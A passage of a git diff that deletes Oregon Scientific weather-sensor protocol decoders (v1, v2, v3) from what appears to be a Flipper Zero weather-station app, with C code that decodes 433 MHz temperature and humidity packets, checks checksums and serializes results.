0x0cc3 // warning: id is from 0x0cc3 and 0xfcc3 -#define ID_RTGN129 0x0cc3 // same as RTGN318 but different packet size -#define ID_THGR810 0xf824 // This might be ID_THGR81, but what's true is lost in (git) history -#define ID_THGR810a 0xf8b4 // unconfirmed version -#define ID_THN802 0xc844 -#define ID_PCR800 0x2914 -#define ID_PCR800a 0x2d14 // Different PCR800 ID - AU version I think -#define ID_WGR800 0x1984 -#define ID_WGR800a 0x1994 // unconfirmed version -#define ID_WGR968 0x3d00 -#define ID_UV800 0xd874 -#define ID_THN129 0xcc43 // THN129 Temp only -#define ID_RTHN129 0x0cd3 // RTHN129 Temp, clock sensors -#define ID_RTHN129_1 0x9cd3 -#define ID_RTHN129_2 0xacd3 -#define ID_RTHN129_3 0xbcd3 -#define ID_RTHN129_4 0xccd3 -#define ID_RTHN129_5 0xdcd3 -#define ID_BTHGN129 0x5d53 // Baro, Temp, Hygro sensor -#define ID_UVR128 0xec70 -#define ID_THGR328N 0xcc23 // Temp & Hygro sensor similar to THR228N with 5 channel instead of 3 -#define ID_RTGR328N_1 0xdcc3 // RTGR328N_[1-5] RFclock(date &time)&Temp&Hygro sensor -#define ID_RTGR328N_2 0xccc3 -#define ID_RTGR328N_3 0xbcc3 -#define ID_RTGR328N_4 0xacc3 -#define ID_RTGR328N_5 0x9cc3 -#define ID_RTGR328N_6 0x8ce3 // RTGR328N_6&7 RFclock(date &time)&Temp&Hygro sensor like THGR328N -#define ID_RTGR328N_7 0x8ae3 - -struct WSProtocolDecoderOregon2 { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; - ManchesterState manchester_state; - bool prev_bit; - bool have_bit; - - uint8_t var_bits; - uint32_t var_data; -}; - -typedef struct WSProtocolDecoderOregon2 WSProtocolDecoderOregon2; - -typedef enum { - Oregon2DecoderStepReset = 0, - Oregon2DecoderStepFoundPreamble, - Oregon2DecoderStepVarData, -} Oregon2DecoderStep; - -void* ws_protocol_decoder_oregon2_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderOregon2* instance = malloc(sizeof(WSProtocolDecoderOregon2)); - instance->base.protocol = &ws_protocol_oregon2; - instance->generic.protocol_name = instance->base.protocol->name; - instance->generic.humidity = WS_NO_HUMIDITY; - instance->generic.temp = WS_NO_TEMPERATURE; - instance->generic.btn = WS_NO_BTN; - instance->generic.channel = WS_NO_CHANNEL; - instance->generic.battery_low = WS_NO_BATT; - instance->generic.id = WS_NO_ID; - return instance; -} - -void ws_protocol_decoder_oregon2_free(void* context) { - furi_assert(context); - WSProtocolDecoderOregon2* instance = context; - free(instance); -} - -void ws_protocol_decoder_oregon2_reset(void* context) { - furi_assert(context); - WSProtocolDecoderOregon2* instance = context; - instance->decoder.parser_step = Oregon2DecoderStepReset; - instance->decoder.decode_data = 0UL; - instance->decoder.decode_count_bit = 0; - manchester_advance( - instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL); - instance->have_bit = false; - instance->var_data = 0; - instance->var_bits = 0; -} - -static ManchesterEvent level_and_duration_to_event(bool level, uint32_t duration) { - bool is_long = false; - - if(DURATION_DIFF(duration, ws_oregon2_const.te_long) < ws_oregon2_const.te_delta) { - is_long = true; - } else if(DURATION_DIFF(duration, ws_oregon2_const.te_short) < ws_oregon2_const.te_delta) { - is_long = false; - } else { - return ManchesterEventReset; - } - - if(level) - return is_long ? ManchesterEventLongHigh : ManchesterEventShortHigh; - else - return is_long ? ManchesterEventLongLow : ManchesterEventShortLow; -} - -// From sensor id code return amount of bits in variable section -// https://temofeev.ru/info/articles/o-dekodirovanii-protokola-pogodnykh-datchikov-oregon-scientific -static uint8_t oregon2_sensor_id_var_bits(uint16_t sensor_id) { - switch(sensor_id) { - case ID_THR228N: - case ID_RTHN129_1: - case ID_RTHN129_2: - case ID_RTHN129_3: - case ID_RTHN129_4: - case ID_RTHN129_5: - return 16; - case ID_THGR122N: - return 24; - default: - return 0; - } -} - -static void ws_oregon2_decode_const_data(WSBlockGeneric* ws_block) { - ws_block->id = OREGON2_SENSOR_ID(ws_block->data); - - uint8_t ch_bits = (ws_block->data >> 12) & 0xF; - ws_block->channel = 1; - while(ch_bits > 1) { - ws_block->channel++; - ch_bits >>= 1; - } - - ws_block->battery_low = (ws_block->data & OREGON2_FLAG_BAT_LOW) ? 1 : 0; -} - -uint16_t bcd_decode_short(uint32_t data) { - return (data & 0xF) * 10 + ((data >> 4) & 0xF); -} - -static float ws_oregon2_decode_temp(uint32_t data) { - int32_t temp_val; - temp_val = bcd_decode_short(data >> 4); - temp_val *= 10; - temp_val += (data >> 12) & 0xF; - if(data & 0xF) temp_val = -temp_val; - return (float)temp_val / 10.0; -} - -static void ws_oregon2_decode_var_data(WSBlockGeneric* ws_b, uint16_t sensor_id, uint32_t data) { - switch(sensor_id) { - case ID_THR228N: - case ID_RTHN129_1: - case ID_RTHN129_2: - case ID_RTHN129_3: - case ID_RTHN129_4: - case ID_RTHN129_5: - ws_b->temp = ws_oregon2_decode_temp(data); - ws_b->humidity = WS_NO_HUMIDITY; - return; - case ID_THGR122N: - ws_b->humidity = bcd_decode_short(data); - ws_b->temp = ws_oregon2_decode_temp(data >> 8); - return; - default: - break; - } -} - -void ws_protocol_decoder_oregon2_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderOregon2* instance = context; - // oregon v2.1 signal is inverted - ManchesterEvent event = level_and_duration_to_event(!level, duration); - bool data; - - // low-level bit sequence decoding - if(event == ManchesterEventReset) { - instance->decoder.parser_step = Oregon2DecoderStepReset; - instance->have_bit = false; - instance->decoder.decode_data = 0UL; - instance->decoder.decode_count_bit = 0; - } - if(manchester_advance(instance->manchester_state, event, &instance->manchester_state, &data)) { - if(instance->have_bit) { - if(!instance->prev_bit && data) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - } else if(instance->prev_bit && !data) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - } else { - ws_protocol_decoder_oregon2_reset(context); - } - instance->have_bit = false; - } else { - instance->prev_bit = data; - instance->have_bit = true; - } - } - - switch(instance->decoder.parser_step) { - case Oregon2DecoderStepReset: - // waiting for fixed oregon2 preamble - if(instance->decoder.decode_count_bit >= OREGON2_PREAMBLE_BITS && - ((instance->decoder.decode_data & OREGON2_PREAMBLE_MASK) == OREGON2_PREAMBLE)) { - instance->decoder.parser_step = Oregon2DecoderStepFoundPreamble; - instance->decoder.decode_count_bit = 0; - instance->decoder.decode_data = 0UL; - } - break; - case Oregon2DecoderStepFoundPreamble: - // waiting for fixed oregon2 data - if(instance->decoder.decode_count_bit == 32) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - instance->decoder.decode_data = 0UL; - instance->decoder.decode_count_bit = 0; - - // reverse nibbles in decoded data - instance->generic.data = (instance->generic.data & 0x55555555) << 1 | - (instance->generic.data & 0xAAAAAAAA) >> 1; - instance->generic.data = (instance->generic.data & 0x33333333) << 2 | - (instance->generic.data & 0xCCCCCCCC) >> 2; - - ws_oregon2_decode_const_data(&instance->generic); - instance->var_bits = - oregon2_sensor_id_var_bits(OREGON2_SENSOR_ID(instance->generic.data)); - - if(!instance->var_bits) { - // sensor is not supported, stop decoding, but showing the decoded fixed part - instance->decoder.parser_step = Oregon2DecoderStepReset; - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } else { - instance->decoder.parser_step = Oregon2DecoderStepVarData; - } - } - break; - case Oregon2DecoderStepVarData: - // waiting for variable (sensor-specific data) - if(instance->decoder.decode_count_bit == instance->var_bits + OREGON2_CHECKSUM_BITS) { - instance->var_data = instance->decoder.decode_data & 0xFFFFFFFF; - - // reverse nibbles in var data - instance->var_data = (instance->var_data & 0x55555555) << 1 | - (instance->var_data & 0xAAAAAAAA) >> 1; - instance->var_data = (instance->var_data & 0x33333333) << 2 | - (instance->var_data & 0xCCCCCCCC) >> 2; - - ws_oregon2_decode_var_data( - &instance->generic, - OREGON2_SENSOR_ID(instance->generic.data), - instance->var_data >> OREGON2_CHECKSUM_BITS); - - instance->decoder.parser_step = Oregon2DecoderStepReset; - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } - break; - } -} - -uint8_t ws_protocol_decoder_oregon2_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderOregon2* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_oregon2_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderOregon2* instance = context; - SubGhzProtocolStatus ret = SubGhzProtocolStatusError; - ret = ws_block_generic_serialize(&instance->generic, flipper_format, preset); - if(ret != SubGhzProtocolStatusOk) return ret; - uint32_t temp = instance->var_bits; - if(!flipper_format_write_uint32(flipper_format, "VarBits", &temp, 1)) { - FURI_LOG_E(TAG, "Error adding VarBits"); - return SubGhzProtocolStatusErrorParserOthers; - } - if(!flipper_format_write_hex( - flipper_format, - "VarData", - (const uint8_t*)&instance->var_data, - sizeof(instance->var_data))) { - FURI_LOG_E(TAG, "Error adding VarData"); - return SubGhzProtocolStatusErrorParserOthers; - } - return ret; -} - -SubGhzProtocolStatus - ws_protocol_decoder_oregon2_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderOregon2* instance = context; - uint32_t temp_data; - SubGhzProtocolStatus ret = SubGhzProtocolStatusError; - do { - ret = ws_block_generic_deserialize(&instance->generic, flipper_format); - if(ret != SubGhzProtocolStatusOk) { - break; - } - if(!flipper_format_read_uint32(flipper_format, "VarBits", &temp_data, 1)) { - FURI_LOG_E(TAG, "Missing VarLen"); - ret = SubGhzProtocolStatusErrorParserOthers; - break; - } - instance->var_bits = (uint8_t)temp_data; - if(!flipper_format_read_hex( - flipper_format, - "VarData", - (uint8_t*)&instance->var_data, - sizeof(instance->var_data))) { //-V1051 - FURI_LOG_E(TAG, "Missing VarData"); - ret = SubGhzProtocolStatusErrorParserOthers; - break; - } - if(instance->generic.data_count_bit != ws_oregon2_const.min_count_bit_for_found) { - FURI_LOG_E(TAG, "Wrong number of bits in key: %d", instance->generic.data_count_bit); - ret = SubGhzProtocolStatusErrorValueBitCount; - break; - } - } while(false); - return ret; -} - -static void oregon2_append_check_sum(uint32_t fix_data, uint32_t var_data, FuriString* output) { - uint8_t sum = fix_data & 0xF; - uint8_t ref_sum = var_data & 0xFF; - var_data >>= 8; - - for(uint8_t i = 1; i < 8; i++) { - fix_data >>= 4; - var_data >>= 4; - sum += (fix_data & 0xF) + (var_data & 0xF); - } - - // swap calculated sum nibbles - sum = (((sum >> 4) & 0xF) | (sum << 4)) & 0xFF; - if(sum == ref_sum) - furi_string_cat_printf(output, "Sum ok: 0x%hhX", ref_sum); - else - furi_string_cat_printf(output, "Sum err: 0x%hhX vs 0x%hhX", ref_sum, sum); -} - -void ws_protocol_decoder_oregon2_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderOregon2* instance = context; - furi_string_cat_printf( - output, - "%s\r\n" - "ID: 0x%04lX, ch: %d, bat: %d, rc: 0x%02lX\r\n", - instance->generic.protocol_name, - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (uint32_t)(instance->generic.data >> 4) & 0xFF); - - if(instance->var_bits > 0) { - furi_string_cat_printf( - output, - "Temp:%d.%d C Hum:%d%%", - (int16_t)instance->generic.temp, - abs( - ((int16_t)(instance->generic.temp * 10) - - (((int16_t)instance->generic.temp) * 10))), - instance->generic.humidity); - oregon2_append_check_sum((uint32_t)instance->generic.data, instance->var_data, output); - } -} - -const SubGhzProtocolDecoder ws_protocol_oregon2_decoder = { - .alloc = ws_protocol_decoder_oregon2_alloc, - .free = ws_protocol_decoder_oregon2_free, - - .feed = ws_protocol_decoder_oregon2_feed, - .reset = ws_protocol_decoder_oregon2_reset, - - .get_hash_data = ws_protocol_decoder_oregon2_get_hash_data, - .serialize = ws_protocol_decoder_oregon2_serialize, - .deserialize = ws_protocol_decoder_oregon2_deserialize, - .get_string = ws_protocol_decoder_oregon2_get_string, -}; - -const SubGhzProtocol ws_protocol_oregon2 = { - .name = WS_PROTOCOL_OREGON2_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_oregon2_decoder, -}; diff --git a/applications/external/weather_station/protocols/oregon2.h b/applications/external/weather_station/protocols/oregon2.h deleted file mode 100644 index cfe938e6d..000000000 --- a/applications/external/weather_station/protocols/oregon2.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once - -#include - -#define WS_PROTOCOL_OREGON2_NAME "Oregon2" -extern const SubGhzProtocol ws_protocol_oregon2; diff --git a/applications/external/weather_station/protocols/oregon3.c b/applications/external/weather_station/protocols/oregon3.c deleted file mode 100644 index bd35c2fd5..000000000 --- a/applications/external/weather_station/protocols/oregon3.c +++ /dev/null @@ -1,365 +0,0 @@ -#include "oregon3.h" - -#include -#include -#include -#include -#include "ws_generic.h" - -#include -#include - -#define TAG "WSProtocolOregon3" - -static const SubGhzBlockConst ws_oregon3_const = { - .te_long = 1100, - .te_short = 500, - .te_delta = 300, - .min_count_bit_for_found = 32, -}; - -#define OREGON3_PREAMBLE_BITS 28 -#define OREGON3_PREAMBLE_MASK 0b1111111111111111111111111111 -// 24 ones + 0101 (inverted A) -#define OREGON3_PREAMBLE 0b1111111111111111111111110101 - -// Fixed part contains: -// - Sensor type: 16 bits -// - Channel: 4 bits -// - ID (changes when batteries are changed): 8 bits -// - Battery status: 4 bits -#define OREGON3_FIXED_PART_BITS (16 + 4 + 8 + 4) -#define OREGON3_SENSOR_ID(d) (((d) >> 16) & 0xFFFF) -#define OREGON3_CHECKSUM_BITS 8 - -// bit indicating the low battery -#define OREGON3_FLAG_BAT_LOW 0x4 - -/// Documentation for Oregon Scientific protocols can be found here: -/// https://www.osengr.org/Articles/OS-RF-Protocols-IV.pdf -// Sensors ID -#define ID_THGR221 0xf824 - -struct WSProtocolDecoderOregon3 { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; - ManchesterState manchester_state; - bool prev_bit; - - uint8_t var_bits; - uint64_t var_data; -}; - -typedef struct WSProtocolDecoderOregon3 WSProtocolDecoderOregon3; - -typedef enum { - Oregon3DecoderStepReset = 0, - Oregon3DecoderStepFoundPreamble, - Oregon3DecoderStepVarData, -} Oregon3DecoderStep; - -void* ws_protocol_decoder_oregon3_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderOregon3* instance = malloc(sizeof(WSProtocolDecoderOregon3)); - instance->base.protocol = &ws_protocol_oregon3; - instance->generic.protocol_name = instance->base.protocol->name; - instance->generic.humidity = WS_NO_HUMIDITY; - instance->generic.temp = WS_NO_TEMPERATURE; - instance->generic.btn = WS_NO_BTN; - instance->generic.channel = WS_NO_CHANNEL; - instance->generic.battery_low = WS_NO_BATT; - instance->generic.id = WS_NO_ID; - instance->prev_bit = false; - return instance; -} - -void ws_protocol_decoder_oregon3_free(void* context) { - furi_assert(context); - WSProtocolDecoderOregon3* instance = context; - free(instance); -} - -void ws_protocol_decoder_oregon3_reset(void* context) { - furi_assert(context); - WSProtocolDecoderOregon3* instance = context; - instance->decoder.parser_step = Oregon3DecoderStepReset; - instance->decoder.decode_data = 0UL; - instance->decoder.decode_count_bit = 0; - manchester_advance( - instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL); - instance->prev_bit = false; - instance->var_data = 0; - instance->var_bits = 0; -} - -static ManchesterEvent level_and_duration_to_event(bool level, uint32_t duration) { - bool is_long = false; - - if(DURATION_DIFF(duration, ws_oregon3_const.te_long) < ws_oregon3_const.te_delta) { - is_long = true; - } else if(DURATION_DIFF(duration, ws_oregon3_const.te_short) < ws_oregon3_const.te_delta) { - is_long = false; - } else { - return ManchesterEventReset; - } - - if(level) - return is_long ? ManchesterEventLongHigh : ManchesterEventShortHigh; - else - return is_long ? ManchesterEventLongLow : ManchesterEventShortLow; -} - -// From sensor id code return amount of bits in variable section -// https://temofeev.ru/info/articles/o-dekodirovanii-protokola-pogodnykh-datchikov-oregon-scientific -static uint8_t oregon3_sensor_id_var_bits(uint16_t sensor_id) { - switch(sensor_id) { - case ID_THGR221: - // nibbles: temp + hum + '0' - return (4 + 2 + 1) * 4; - default: - FURI_LOG_D(TAG, "Unsupported sensor id 0x%x", sensor_id); - return 0; - } -} - -static void ws_oregon3_decode_const_data(WSBlockGeneric* ws_block) { - ws_block->id = OREGON3_SENSOR_ID(ws_block->data); - ws_block->channel = (ws_block->data >> 12) & 0xF; - ws_block->battery_low = (ws_block->data & OREGON3_FLAG_BAT_LOW) ? 1 : 0; -} - -static uint16_t ws_oregon3_bcd_decode_short(uint32_t data) { - return (data & 0xF) * 10 + ((data >> 4) & 0xF); -} - -static float ws_oregon3_decode_temp(uint32_t data) { - int32_t temp_val; - temp_val = ws_oregon3_bcd_decode_short(data >> 4); - temp_val *= 10; - temp_val += (data >> 12) & 0xF; - if(data & 0xF) temp_val = -temp_val; - return (float)temp_val / 10.0; -} - -static void ws_oregon3_decode_var_data(WSBlockGeneric* ws_b, uint16_t sensor_id, uint32_t data) { - switch(sensor_id) { - case ID_THGR221: - default: - ws_b->humidity = ws_oregon3_bcd_decode_short(data >> 4); - ws_b->temp = ws_oregon3_decode_temp(data >> 12); - break; - } -} - -void ws_protocol_decoder_oregon3_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderOregon3* instance = context; - // Oregon v3.0 protocol is inverted - ManchesterEvent event = level_and_duration_to_event(!level, duration); - - // low-level bit sequence decoding - if(event == ManchesterEventReset) { - instance->decoder.parser_step = Oregon3DecoderStepReset; - instance->prev_bit = false; - instance->decoder.decode_data = 0UL; - instance->decoder.decode_count_bit = 0; - } - if(manchester_advance( - instance->manchester_state, event, &instance->manchester_state, &instance->prev_bit)) { - subghz_protocol_blocks_add_bit(&instance->decoder, instance->prev_bit); - } - - switch(instance->decoder.parser_step) { - case Oregon3DecoderStepReset: - // waiting for fixed oregon3 preamble - if(instance->decoder.decode_count_bit >= OREGON3_PREAMBLE_BITS && - ((instance->decoder.decode_data & OREGON3_PREAMBLE_MASK) == OREGON3_PREAMBLE)) { - instance->decoder.parser_step = Oregon3DecoderStepFoundPreamble; - instance->decoder.decode_count_bit = 0; - instance->decoder.decode_data = 0UL; - } - break; - case Oregon3DecoderStepFoundPreamble: - // waiting for fixed oregon3 data - if(instance->decoder.decode_count_bit == OREGON3_FIXED_PART_BITS) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - instance->decoder.decode_data = 0UL; - instance->decoder.decode_count_bit = 0; - - // reverse nibbles in decoded data as oregon v3.0 is LSB first - instance->generic.data = (instance->generic.data & 0x55555555) << 1 | - (instance->generic.data & 0xAAAAAAAA) >> 1; - instance->generic.data = (instance->generic.data & 0x33333333) << 2 | - (instance->generic.data & 0xCCCCCCCC) >> 2; - - ws_oregon3_decode_const_data(&instance->generic); - instance->var_bits = - oregon3_sensor_id_var_bits(OREGON3_SENSOR_ID(instance->generic.data)); - - if(!instance->var_bits) { - // sensor is not supported, stop decoding - instance->decoder.parser_step = Oregon3DecoderStepReset; - } else { - instance->decoder.parser_step = Oregon3DecoderStepVarData; - } - } - break; - case Oregon3DecoderStepVarData: - // waiting for variable (sensor-specific data) - if(instance->decoder.decode_count_bit == instance->var_bits + OREGON3_CHECKSUM_BITS) { - instance->var_data = instance->decoder.decode_data & 0xFFFFFFFFFFFFFFFF; - - // reverse nibbles in var data - instance->var_data = (instance->var_data & 0x5555555555555555) << 1 | - (instance->var_data & 0xAAAAAAAAAAAAAAAA) >> 1; - instance->var_data = (instance->var_data & 0x3333333333333333) << 2 | - (instance->var_data & 0xCCCCCCCCCCCCCCCC) >> 2; - - ws_oregon3_decode_var_data( - &instance->generic, - OREGON3_SENSOR_ID(instance->generic.data), - instance->var_data >> OREGON3_CHECKSUM_BITS); - - instance->decoder.parser_step = Oregon3DecoderStepReset; - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } - break; - } -} - -uint8_t ws_protocol_decoder_oregon3_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderOregon3* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_oregon3_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderOregon3* instance = context; - SubGhzProtocolStatus ret = SubGhzProtocolStatusError; - ret = ws_block_generic_serialize(&instance->generic, flipper_format, preset); - if(ret != SubGhzProtocolStatusOk) return ret; - uint32_t temp = instance->var_bits; - if(!flipper_format_write_uint32(flipper_format, "VarBits", &temp, 1)) { - FURI_LOG_E(TAG, "Error adding VarBits"); - return SubGhzProtocolStatusErrorParserOthers; - } - if(!flipper_format_write_hex( - flipper_format, - "VarData", - (const uint8_t*)&instance->var_data, - sizeof(instance->var_data))) { - FURI_LOG_E(TAG, "Error adding VarData"); - return SubGhzProtocolStatusErrorParserOthers; - } - return ret; -} - -SubGhzProtocolStatus - ws_protocol_decoder_oregon3_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderOregon3* instance = context; - uint32_t temp_data; - SubGhzProtocolStatus ret = SubGhzProtocolStatusError; - do { - ret = ws_block_generic_deserialize(&instance->generic, flipper_format); - if(ret != SubGhzProtocolStatusOk) { - break; - } - if(!flipper_format_read_uint32(flipper_format, "VarBits", &temp_data, 1)) { - FURI_LOG_E(TAG, "Missing VarLen"); - ret = SubGhzProtocolStatusErrorParserOthers; - break; - } - instance->var_bits = (uint8_t)temp_data; - if(!flipper_format_read_hex( - flipper_format, - "VarData", - (uint8_t*)&instance->var_data, - sizeof(instance->var_data))) { //-V1051 - FURI_LOG_E(TAG, "Missing VarData"); - ret = SubGhzProtocolStatusErrorParserOthers; - break; - } - if(instance->generic.data_count_bit != ws_oregon3_const.min_count_bit_for_found) { - FURI_LOG_E(TAG, "Wrong number of bits in key: %d", instance->generic.data_count_bit); - ret = SubGhzProtocolStatusErrorValueBitCount; - break; - } - } while(false); - return ret; -} - -static void oregon3_append_check_sum(uint32_t fix_data, uint64_t var_data, FuriString* output) { - uint8_t sum = fix_data & 0xF; - uint8_t ref_sum = var_data & 0xFF; - var_data >>= 4; - - for(uint8_t i = 1; i < 8; i++) { - fix_data >>= 4; - var_data >>= 4; - sum += (fix_data & 0xF) + (var_data & 0xF); - } - - // swap calculated sum nibbles - sum = (((sum >> 4) & 0xF) | (sum << 4)) & 0xFF; - if(sum == ref_sum) - furi_string_cat_printf(output, "Sum ok: 0x%hhX", ref_sum); - else - furi_string_cat_printf(output, "Sum err: 0x%hhX vs 0x%hhX", ref_sum, sum); -} - -void ws_protocol_decoder_oregon3_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderOregon3* instance = context; - furi_string_cat_printf( - output, - "%s\r\n" - "ID: 0x%04lX, ch: %d, bat: %d, rc: 0x%02lX\r\n", - instance->generic.protocol_name, - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (uint32_t)(instance->generic.data >> 4) & 0xFF); - - if(instance->var_bits > 0) { - furi_string_cat_printf( - output, - "Temp:%d.%d C Hum:%d%%", - (int16_t)instance->generic.temp, - abs( - ((int16_t)(instance->generic.temp * 10) - - (((int16_t)instance->generic.temp) * 10))), - instance->generic.humidity); - oregon3_append_check_sum((uint32_t)instance->generic.data, instance->var_data, output); - } -} - -const SubGhzProtocolDecoder ws_protocol_oregon3_decoder = { - .alloc = ws_protocol_decoder_oregon3_alloc, - .free = ws_protocol_decoder_oregon3_free, - - .feed = ws_protocol_decoder_oregon3_feed, - .reset = ws_protocol_decoder_oregon3_reset, - - .get_hash_data = ws_protocol_decoder_oregon3_get_hash_data, - .serialize = ws_protocol_decoder_oregon3_serialize, - .deserialize = ws_protocol_decoder_oregon3_deserialize, - .get_string = ws_protocol_decoder_oregon3_get_string, -}; - -const SubGhzProtocol ws_protocol_oregon3 = { - .name = WS_PROTOCOL_OREGON3_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_oregon3_decoder, -}; diff --git a/applications/external/weather_station/protocols/oregon3.h b/applications/external/weather_station/protocols/oregon3.h deleted file mode 100644 index ec51ddb00..000000000 --- a/applications/external/weather_station/protocols/oregon3.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once - -#include - -#define WS_PROTOCOL_OREGON3_NAME "Oregon3" -extern const SubGhzProtocol ws_protocol_oregon3; diff --git a/applications/external/weather_station/protocols/oregon_v1.c b/applications/external/weather_station/protocols/oregon_v1.c deleted file mode 100644 index 03215bbf5..000000000 --- a/applications/external/weather_station/protocols/oregon_v1.c +++ /dev/null @@ -1,321 +0,0 @@ -#include "oregon_v1.h" -#include - -#define TAG "WSProtocolOregon_V1" - -/* - * Help - * https://github.dev/merbanan/rtl_433/blob/bb1be7f186ac0fdb7dc5d77693847d96fb95281e/src/devices/oregon_scientific_v1.c - * - * OSv1 protocol. - * - * MC with nominal bit width of 2930 us. - * Pulses are somewhat longer than nominal half-bit width, 1748 us / 3216 us, - * Gaps are somewhat shorter than nominal half-bit width, 1176 us / 2640 us. - * After 12 preamble bits there is 4200 us gap, 5780 us pulse, 5200 us gap. - * And next 32 bit data - * - * Care must be taken with the gap after the sync pulse since it - * is outside of the normal clocking. Because of this a data stream - * beginning with a 0 will have data in this gap. - * - * - * Data is in reverse order of bits - * RevBit(data32bit)=> tib23atad - * - * tib23atad => xxxxxxxx | busuTTTT | ttttzzzz | ccuuiiii - * - * - i: ID - * - x: CRC; - * - u: unknown; - * - b: battery low; flag to indicate low battery voltage - * - s: temperature sign - * - T: BCD, Temperature; in °C * 10 - * - t: BCD, Temperature; in °C * 1 - * - z: BCD, Temperature; in °C * 0.1 - * - c: Channel 00=CH1, 01=CH2, 10=CH3 - * - */ - -#define OREGON_V1_HEADER_OK 0xFF - -static const SubGhzBlockConst ws_protocol_oregon_v1_const = { - .te_short = 1465, - .te_long = 2930, - .te_delta = 350, - .min_count_bit_for_found = 32, -}; - -struct WSProtocolDecoderOregon_V1 { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; - ManchesterState manchester_state; - uint16_t header_count; - uint8_t first_bit; -}; - -struct WSProtocolEncoderOregon_V1 { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - Oregon_V1DecoderStepReset = 0, - Oregon_V1DecoderStepFoundPreamble, - Oregon_V1DecoderStepParse, -} Oregon_V1DecoderStep; - -const SubGhzProtocolDecoder ws_protocol_oregon_v1_decoder = { - .alloc = ws_protocol_decoder_oregon_v1_alloc, - .free = ws_protocol_decoder_oregon_v1_free, - - .feed = ws_protocol_decoder_oregon_v1_feed, - .reset = ws_protocol_decoder_oregon_v1_reset, - - .get_hash_data = ws_protocol_decoder_oregon_v1_get_hash_data, - .serialize = ws_protocol_decoder_oregon_v1_serialize, - .deserialize = ws_protocol_decoder_oregon_v1_deserialize, - .get_string = ws_protocol_decoder_oregon_v1_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_oregon_v1_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_oregon_v1 = { - .name = WS_PROTOCOL_OREGON_V1_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_oregon_v1_decoder, - .encoder = &ws_protocol_oregon_v1_encoder, -}; - -void* ws_protocol_decoder_oregon_v1_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderOregon_V1* instance = malloc(sizeof(WSProtocolDecoderOregon_V1)); - instance->base.protocol = &ws_protocol_oregon_v1; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_oregon_v1_free(void* context) { - furi_assert(context); - WSProtocolDecoderOregon_V1* instance = context; - free(instance); -} - -void ws_protocol_decoder_oregon_v1_reset(void* context) { - furi_assert(context); - WSProtocolDecoderOregon_V1* instance = context; - instance->decoder.parser_step = Oregon_V1DecoderStepReset; -} - -static bool ws_protocol_oregon_v1_check(WSProtocolDecoderOregon_V1* instance) { - if(!instance->decoder.decode_data) return false; - uint64_t data = subghz_protocol_blocks_reverse_key(instance->decoder.decode_data, 32); - uint16_t crc = (data & 0xff) + ((data >> 8) & 0xff) + ((data >> 16) & 0xff); - crc = (crc & 0xff) + ((crc >> 8) & 0xff); - return (crc == ((data >> 24) & 0xFF)); -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_oregon_v1_remote_controller(WSBlockGeneric* instance) { - uint64_t data = subghz_protocol_blocks_reverse_key(instance->data, 32); - - instance->id = data & 0xFF; - instance->channel = ((data >> 6) & 0x03) + 1; - - float temp_raw = - ((data >> 8) & 0x0F) * 0.1f + ((data >> 12) & 0x0F) + ((data >> 16) & 0x0F) * 10.0f; - if(!((data >> 21) & 1)) { - instance->temp = 